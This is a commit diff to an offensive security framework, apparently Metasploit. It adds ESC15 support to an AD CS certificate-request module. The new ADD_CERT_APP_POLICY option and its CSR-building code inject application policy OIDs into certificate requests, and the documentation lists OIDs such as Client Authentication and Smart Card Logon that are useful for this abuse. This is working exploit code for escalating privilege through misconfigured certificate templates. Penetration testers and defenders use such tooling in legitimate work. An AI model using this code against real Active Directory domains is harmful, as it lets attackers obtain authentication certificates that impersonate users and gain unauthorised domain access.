Add support to icpr_cert for ESC15
This commit is contained in:
@@ -20,6 +20,18 @@ The target certificate authority. The default value used by AD CS is `$domain-DC
|
||||
### CERT_TEMPLATE
|
||||
The certificate template to issue, e.g. "User".
|
||||
|
||||
### ADD_CERT_APP_POLICY
|
||||
Add certificate application policy OIDs to the certificate. The ability to add policy OIDs to the certificate is
|
||||
dependent on it's configuration. More than one OID can be specified, separated by spaces, `;`, or `,`.
|
||||
|
||||
Some useful OIDs for this purpose include:
|
||||
|
||||
* `1.3.6.1.4.1.311.20.2.2` -- Smart Card Logon
|
||||
* `1.3.6.1.5.2.3.4` -- PKINIT Client Authentication
|
||||
* `1.3.6.1.5.5.7.3.1` -- Server Authentication
|
||||
* `1.3.6.1.5.5.7.3.2` -- Client Authentication
|
||||
* `1.3.6.1.5.5.7.3.3` -- Code Signing
|
||||
|
||||
### ALT_DNS
|
||||
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
|
||||
|
||||
|
||||
@@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr
|
||||
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze
|
||||
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
|
||||
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze
|
||||
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
|
||||
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
|
||||
|
||||
class MsIcprError < StandardError; end
|
||||
class MsIcprConnectionError < MsIcprError; end
|
||||
@@ -39,6 +41,7 @@ module Exploit::Remote::MsIcpr
|
||||
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
|
||||
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
|
||||
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
|
||||
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
|
||||
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
|
||||
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
|
||||
Opt::RPORT(445)
|
||||
@@ -131,6 +134,7 @@ module Exploit::Remote::MsIcpr
|
||||
alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
|
||||
alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
|
||||
algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
|
||||
application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
|
||||
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
|
||||
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
|
||||
status_msg << " - digest algorithm: #{algorithm}" if algorithm
|
||||
@@ -140,7 +144,8 @@ module Exploit::Remote::MsIcpr
|
||||
dns: alt_dns,
|
||||
msext_sid: alt_sid,
|
||||
msext_upn: alt_upn,
|
||||
algorithm: algorithm
|
||||
algorithm: algorithm,
|
||||
application_policies: application_policies
|
||||
)
|
||||
|
||||
on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
|
||||
@@ -205,6 +210,13 @@ module Exploit::Remote::MsIcpr
|
||||
print_status("Certificate UPN: #{upn.join(', ')}")
|
||||
end
|
||||
|
||||
unless (policy_oids = get_cert_policy_oids(response[:certificate])).empty?
|
||||
print_status("Certificate Policies:")
|
||||
policy_oids.each do |oid|
|
||||
print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : ''))
|
||||
end
|
||||
end
|
||||
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
|
||||
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
|
||||
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
|
||||
@@ -239,8 +251,10 @@ module Exploit::Remote::MsIcpr
|
||||
# @param [String] dns An alternative DNS name to use.
|
||||
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
|
||||
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
|
||||
# @param [String] algorithm The algorithm to use when signing the CSR.
|
||||
# @param [Array<String>] application_policies OIDs to add as application policies.
|
||||
# @return [OpenSSL::X509::Request] The request object.
|
||||
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256')
|
||||
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
|
||||
request = OpenSSL::X509::Request.new
|
||||
request.version = 1
|
||||
request.subject = OpenSSL::X509::Name.new([
|
||||
@@ -265,6 +279,13 @@ module Exploit::Remote::MsIcpr
|
||||
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
|
||||
end
|
||||
|
||||
unless application_policies.blank?
|
||||
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
|
||||
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
|
||||
)
|
||||
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
|
||||
end
|
||||
|
||||
unless extensions.empty?
|
||||
request.add_attribute(OpenSSL::X509::Attribute.new(
|
||||
'extReq',
|
||||
@@ -349,6 +370,22 @@ module Exploit::Remote::MsIcpr
|
||||
)
|
||||
end
|
||||
|
||||
# Get the certificate policy OIDs from the certificate.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
# @return [Array<Rex::Proto::CryptoAsn1::ObjectId>] The policy OIDs if any were found.
|
||||
def get_cert_policy_oids(cert)
|
||||
ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }
|
||||
return [] unless ext
|
||||
|
||||
cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)
|
||||
cert_policies.value.map do |policy_info|
|
||||
oid_string = policy_info[:policyIdentifier].value
|
||||
Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
@@ -402,7 +439,6 @@ module Exploit::Remote::MsIcpr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Get the E-mail addresses from the certificate.
|
||||
#
|
||||
# @param [OpenSSL::X509::Certificate] cert
|
||||
|
||||
Reference in New Issue
Block a user